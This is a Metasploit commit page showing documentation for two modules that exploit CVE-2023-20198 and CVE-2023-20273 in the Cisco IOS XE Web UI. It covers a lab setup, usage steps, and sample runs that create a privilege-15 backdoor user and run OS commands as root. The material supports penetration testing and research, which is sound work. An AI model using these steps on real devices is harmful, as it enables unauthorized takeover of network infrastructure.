Skip to content

Commit 77a93e4

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#18507, Exploit & Auxiliary modules for CVE-2023-20198 and CVE-2023-20273 (Cisco IOS XE)
Merge branch 'land-18507' into upstream-master
2 parents c243125 + 64c9968 commit 77a93e4

File tree

7 files changed

+1300
-0
lines changed

7 files changed

+1300
-0
lines changed

‎documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md

Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
## Vulnerable Application
2+
This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the
3+
Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15.
4+
5+
You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and
6+
`global`. To run a command in "Privileged" mode, set the `CMD` option to the command you want to run,
7+
e.g. `show version` and set the `MODE` to `privileged`. To run a command in "Global Configuration" mode, set
8+
the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set
9+
the `MODE` to `global`.
10+
11+
The vulnerable IOS XE versions are:
12+
13+
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
14+
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
15+
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16+
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
17+
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
18+
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
19+
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
20+
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
21+
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
22+
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
23+
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
24+
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
25+
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
26+
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
27+
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
28+
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
29+
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
30+
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
31+
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
32+
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
33+
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
34+
17.11.99SW
35+
36+
## Testing
37+
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
38+
39+
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
40+
41+
Or
42+
43+
* Setup a virtualized environment.
44+
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
45+
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
46+
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
47+
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
48+
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
49+
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
50+
* Create a new CSR1000v instance as a QEMU device.
51+
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
52+
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
53+
be accessible to a remote attacker.
54+
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
55+
the device:
56+
```
57+
Router>enable
58+
Router#config
59+
Router(config)#ip http server
60+
router(config)#ip http secure-server
61+
router(config)#ip http authentication local
62+
router(config)#username admin privilege 15 secret qwerty
63+
router(config)#exit
64+
Router#copy running-config startup-config
65+
```
66+
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
67+
68+
## Verification Steps
69+
1. Start msfconsole
70+
2. `use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198`
71+
3. `set RHOST <TARGET_IP_ADDRESS>`
72+
4. `set CMD "username hax0r privilege 15 secret hax0r"`
73+
5. `set MODE global`
74+
6. `run`
75+
7. Visit `https://<TARGET_IP_ADDRESS>/webui/` in a browser and log in with username `hax0r` and password `hax0r`.
76+
77+
## Options
78+
79+
### CMD
80+
81+
The Cisco CLI command to execute.
82+
83+
### MODE
84+
Cisco IOS commands cna be executed in one of several modes, specifically "User EXEC" mode, "Privileged EXEC" mode, and
85+
"Global Configuration" mode. The `MODE` options lets you explicitly set what mode you want the `CMD` to execute in. Valid
86+
modes are `user`, `privileged`, and `global`.
87+
88+
## Scenarios
89+
90+
```
91+
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
92+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
93+
RHOST => 192.168.86.57
94+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version"
95+
CMD => show version
96+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged
97+
MODE => privileged
98+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
99+
100+
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
101+
102+
Name Current Setting Required Description
103+
---- --------------- -------- -----------
104+
CMD show version yes The CLI command to execute.
105+
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
106+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
107+
RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
108+
RPORT 443 yes The target port (TCP)
109+
SSL true no Negotiate SSL/TLS for outgoing connections
110+
VHOST no HTTP server virtual host
111+
112+
113+
View the full module info with the info, or info -d command.
114+
115+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
116+
[*] Running module against 192.168.86.57
117+
118+
119+
Cisco IOS XE Software, Version 16.12.03
120+
Cisco IOS Software [Gibraltar], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.12.3, RELEASE SOFTWARE (fc5)
121+
Technical Support: http://www.cisco.com/techsupport
122+
Copyright (c) 1986-2020 by Cisco Systems, Inc.
123+
Compiled Mon 09-Mar-20 21:50 by mcpre
124+
Cisco IOS-XE software, Copyright (c) 2005-2020 by cisco Systems, Inc.
125+
All rights reserved. Certain components of Cisco IOS-XE software are
126+
licensed under the GNU General Public License ("GPL") Version 2.0. The
127+
software code licensed under GPL Version 2.0 is free software that comes
128+
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
129+
GPL code under the terms of GPL Version 2.0. For more details, see the
130+
documentation or "License Notice" file accompanying the IOS-XE software,
131+
or the applicable URL provided on the flyer accompanying the IOS-XE
132+
software.
133+
ROM: IOS-XE ROMMON
134+
router uptime is 3 hours, 59 minutes
135+
Uptime for this control processor is 4 hours, 2 minutes
136+
System returned to ROM by reload
137+
System image file is "bootflash:packages.conf"
138+
Last reload reason: reload
139+
This product contains cryptographic features and is subject to United
140+
States and local country laws governing import, export, transfer and
141+
use. Delivery of Cisco cryptographic products does not imply
142+
third-party authority to import, export, distribute or use encryption.
143+
Importers, exporters, distributors and users are responsible for
144+
compliance with U.S. and local country laws. By using this product you
145+
agree to comply with applicable laws and regulations. If you are unable
146+
to comply with U.S. and local laws, return this product immediately.
147+
A summary of U.S. laws governing Cisco cryptographic products may be found at:
148+
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
149+
If you require further assistance please contact us by sending email to
150+
[email protected].
151+
License Level: ax
152+
License Type: N/A(Smart License Enabled)
153+
Next reload license Level: ax
154+
Smart Licensing Status: UNREGISTERED/No Licenses in Use
155+
cisco CSR1000V (VXE) processor (revision VXE) with 1113574K/3075K bytes of memory.
156+
Processor board ID 9OVFUOGPESO
157+
4 Gigabit Ethernet interfaces
158+
32768K bytes of non-volatile configuration memory.
159+
3012164K bytes of physical memory.
160+
6188032K bytes of virtual hard disk at bootflash:.
161+
0K bytes of WebUI ODM Files at webui:.
162+
Configuration register is 0x2102
163+
164+
[*] Auxiliary module execution completed
165+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
166+
[*] Running module against 192.168.86.57
167+
168+
169+
*15:24:05.110 UTC Fri Nov 3 2023
170+
[*] Auxiliary module execution completed
171+
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
172+
```

‎documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
## Vulnerable Application
2+
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
3+
devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.
4+
5+
This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,
6+
CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read
7+
back via the webserver. Finally the output file is deleted and the admin user is removed.
8+
9+
The vulnerable IOS XE versions are:
10+
11+
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
12+
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
13+
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
14+
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
15+
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16+
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
17+
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
18+
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
19+
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
20+
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
21+
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
22+
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
23+
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
24+
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
25+
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
26+
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
27+
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
28+
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
29+
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
30+
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
31+
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
32+
17.11.99SW
33+
34+
## Testing
35+
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
36+
37+
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
38+
39+
Or
40+
41+
* Setup a virtualized environment.
42+
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
43+
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
44+
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
45+
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
46+
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
47+
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
48+
* Create a new CSR1000v instance as a QEMU device.
49+
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
50+
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
51+
be accessible to a remote attacker.
52+
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
53+
the device:
54+
```
55+
Router>enable
56+
Router#config
57+
Router(config)#ip http server
58+
router(config)#ip http secure-server
59+
router(config)#ip http authentication local
60+
router(config)#username admin privilege 15 secret qwerty
61+
router(config)#exit
62+
Router#copy running-config startup-config
63+
```
64+
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
65+
66+
## Verification Steps
67+
1. Start msfconsole
68+
2. `use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273`
69+
3. `set RHOST <TARGET_IP_ADDRESS>`
70+
4. `set CMD "id"`
71+
5. `run`
72+
73+
## Options
74+
75+
### CMD
76+
A Linux OS command to execute on the target device, e.g. `id`
77+
78+
### CISCO_ADMIN_USERNAME
79+
The username of an admin account. If not set, CVE-2023-20198 is leveraged to first create a new admin account and then
80+
the new account is then removed after the module completes.
81+
82+
### CISCO_ADMIN_PASSWORD
83+
The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.
84+
85+
### REMOVE_OUTPUT_TIMEOUT
86+
The maximum timeout (in seconds) to wait when trying to removing the commands output file. The output file
87+
can be locked preventing deleting upon the first attempt, so the module will try again if needed.
88+
89+
## Scenarios
90+
91+
```
92+
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options
93+
94+
Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):
95+
96+
Name Current Setting Required Description
97+
---- --------------- -------- -----------
98+
CISCO_ADMIN_PASSWORD no The password of an admin account. If not set, CVE-2023-20198 is leveraged to c
99+
reate a new admin password.
100+
CISCO_ADMIN_USERNAME no The username of an admin account. If not set, CVE-2023-20198 is leveraged to c
101+
reate a new admin account.
102+
CMD id yes The OS command to execute.
103+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
104+
REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands
105+
output file.
106+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
107+
cs/using-metasploit.html
108+
RPORT 443 yes The target port (TCP)
109+
SSL true no Negotiate SSL/TLS for outgoing connections
110+
VHOST no HTTP server virtual host
111+
112+
113+
View the full module info with the info, or info -d command.
114+
115+
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
116+
rhosts => 10.5.135.193
117+
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
118+
verbose => true
119+
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
120+
[*] Running module against 10.5.135.193
121+
122+
[*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw'
123+
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
124+
125+
[*] Removing output file '/var/www/fNrmuBOf'
126+
[*] Removing user 'rfojGrqA'
127+
[*] Auxiliary module execution completed
128+
129+
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) >
130+
```

0 commit comments

Comments
 (0)